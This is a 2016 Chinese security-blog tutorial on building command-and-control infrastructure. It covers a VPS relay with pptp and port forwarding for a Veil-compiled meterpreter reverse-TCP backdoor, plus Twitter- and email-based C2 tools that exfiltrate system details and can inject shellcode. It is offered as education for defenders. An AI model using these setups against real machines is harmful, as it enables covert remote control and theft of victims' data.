专栏首页FreeBuf隐秘通讯与跳板?C&C服务器究竟是怎么一回事

隐秘通讯与跳板?C&C服务器究竟是怎么一回事

C&C服务器,其全称为command and control server。我们在诸多文章中曾看到过,C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。今天,我们就通过一个几个C&C服务器的搭建实验教程让大家了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。

无C&C服务器通讯

故事

*本文中涉及的故事纯属虚构,如有雷同实数巧合

某天,某攻击者通过固定的外网IP控制了一个处在外网的用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。

由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。

V** C&C服务器通讯

故事

随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用iptable做了端口转发,并且将交流方式改为反弹式交流。

技术解析

有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。

以下为本次实验的环境:

win 10 一台 Kali Linux 一台 Linode VPS 一个

在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。

为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下

监听IP:139.162.5.124(VPS的公网IP) 监听端口:1024(随意填写) Payload种类:python/meterpreter/rev_tcp 加密方式:Pyherion

然后需要对VPS进行一个简单的设置,通过SSH连接VPS,然后进行update。

随后安装pptp的基本组件

对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。

localip 192.168.0.1remoteip 192.168.0.2

然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。

freebuf pptpd freebuf *

然后再编辑/etc/ppp/options文件,将ms-dns设置为根服务器地址,如8.8.8.8之类的。

再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。

输入命令/etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。

iptable安装:

apt-get install iptables

iptable设置:

1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE 2. iptables-save > /etc/iptables.pptp 3. cd /etc/network/if-up.d/ 4. vi iptables

写入以下内容#!/bin/shiptables-restore < /etc/iptables.pptp

5. chmod +x /etc/network/if-up.d/iptables

到目前这一步pptp已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。

安装rinetd:

sudo apt-get install rinetd

然后编辑/etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。

保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。

对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。

V**连接没什么问题

然后打开Metasploit,找到handler,并且对其进行设置。

监听IP:192.168.0.2 监听端口:1024

在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。

也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到V**后对这个内网IP进行监听即可。

如下图所示:

Web C&C服务器通信

故事

慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。

技术解析

这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。

在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。

项目地址:Twittor

这个项目的主要文件如下

implant.py requirements.txt twittor.py

看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。

创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。

至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。

观察implant.py,该文件调用了以下模块

from tweepy import Stream from tweepy import OAuthHandler from tweepy import API from tweepy.streaming import StreamListener from uuid import getnode as get_mac import ctypes import json import threading import subprocess import base64 import platform

tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。

先创建twitter的key和access token。

然后开启可读可写权限

把各种token和secret填写到payload和handler内。

但是运行的时候却报错了。

google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。

只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。

但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。

google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。

而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。

精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:

具体的实现功能如下图所示:

如果有人要重新编写这个C&C,一定要加上这个功能啊!

Email C&C服务器通讯

故事

但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。

技术解析

在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。

文件下载下来后,发现有两个主要程序一个主要目录。

implant.py:payload gcat.py:控制端 data目录:数据存放路径

我们先看看implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。

以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。

两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。

然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。

PYTHON_SOURCE填写上implant.py的路径。

文件名我就叫C&C吧,然后选择默认的编译方式。

编译好后我复制到windows系统上,然后双击运行。

这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。

通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。

继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。

往上继续看,原来这个data目录主要是存储屏幕截图的。

但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。

当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。

Google的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。

后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。

最后附上GitHub项目地址:Email C&C服务器相关代码

至此这篇以C&C为主题的“故事”就结束了。实际上以上我提到的几个是C&C服务器只是非常基础的几个,还有URI C&C,Tor C&C,C&C of C&C,IRC C&C等,有时候我甚至有考虑过用QQ来做C&C。除了交流平台的众多不同外,还有交流的加密不同。

*文章原创作者: ArthurKiller,未经许可禁止转载

本文分享自微信公众号 - FreeBuf(freebuf),作者:ArthurKiller

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-09-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Github中间人攻击原理分析

    3 月 26 日,国内多个地区访问 Github 以及 Github pages 的时候,谷歌浏览器提示“您的连接不是私密连接”的错误信息,不少用户想知道为什么...

    FB客服
  • DNS隧道流量分析

    DNS协议又称域名系统是互联网的基础设施,只要上网就会用到,因而DNS协议是提供网络服务的重要协议,在黑客进入内网后会使用DNS、ICMP、HTTP等协议隧道隐...

    FB客服
  • 一项有趣的实验:装了杀软的主机真的安全吗?

    我们有的理由怀疑自己的主机早被感染了恶意程序。大部分人都是采用重打包后的镜像来安装的盗版系统;用的不知从哪儿下回来的工具激活的系统;平常在网上下载的工具奉行的都...

    FB客服
  • HackerOne | 星巴克上传与XXE组合拳

    3、在参数allow_file_type_list值中添加html,获取服务器的响应信息

    Timeline Sec
  • 怎么使用腾讯云服务器搭建个人网站?

    https://cloud.tencent.com/act/cps/redirect?redirect=1044&cps_key=75dcde00531ca2e...

    云优惠
  • 浏览器工作原理

    我们在浏览器输入网址,其实就是要向服务器请求我们想要的页面内容,所有浏览器首先要确认的是域名所对应的服务器在哪里。将域名解析成对应的服务器IP地址这项工作,是由...

    千往
  • 网站被劫持攻击以及流量攻击如何解决

    目前越来越多的服务器被DDOS流量攻击,尤其近几年的DNS流量攻击呈现快速增长的趋势,DNS受众较广,存在漏洞,容易遭受到攻击者的利用,关于DNS流量攻击的详情...

    技术分享达人
  • 网站被劫持攻击以及流量攻击如何解决

    目前越来越多的服务器被DDOS流量攻击,尤其近几年的DNS流量攻击呈现快速增长的趋势,DNS受众较广,存在漏洞,容易遭受到攻击者的利用,关于DNS流量攻击的详情...

    网站安全专家
  • animation-iteration-count 属性——动画示例

    animation-iteration-count 规定动画被播放的次数。默认是 1。

    Html5知典
  • Spring Cloud构建微服务架构:消息驱动的微服务(核心概念)【Dalston版】

    通过《Spring Cloud构建微服务架构:消息驱动的微服务(入门)》一文,相信大家对Spring Cloud Stream的工作模式已经有了一些基础概念,比...

    程序猿DD

扫码关注云+社区

领取腾讯云代金券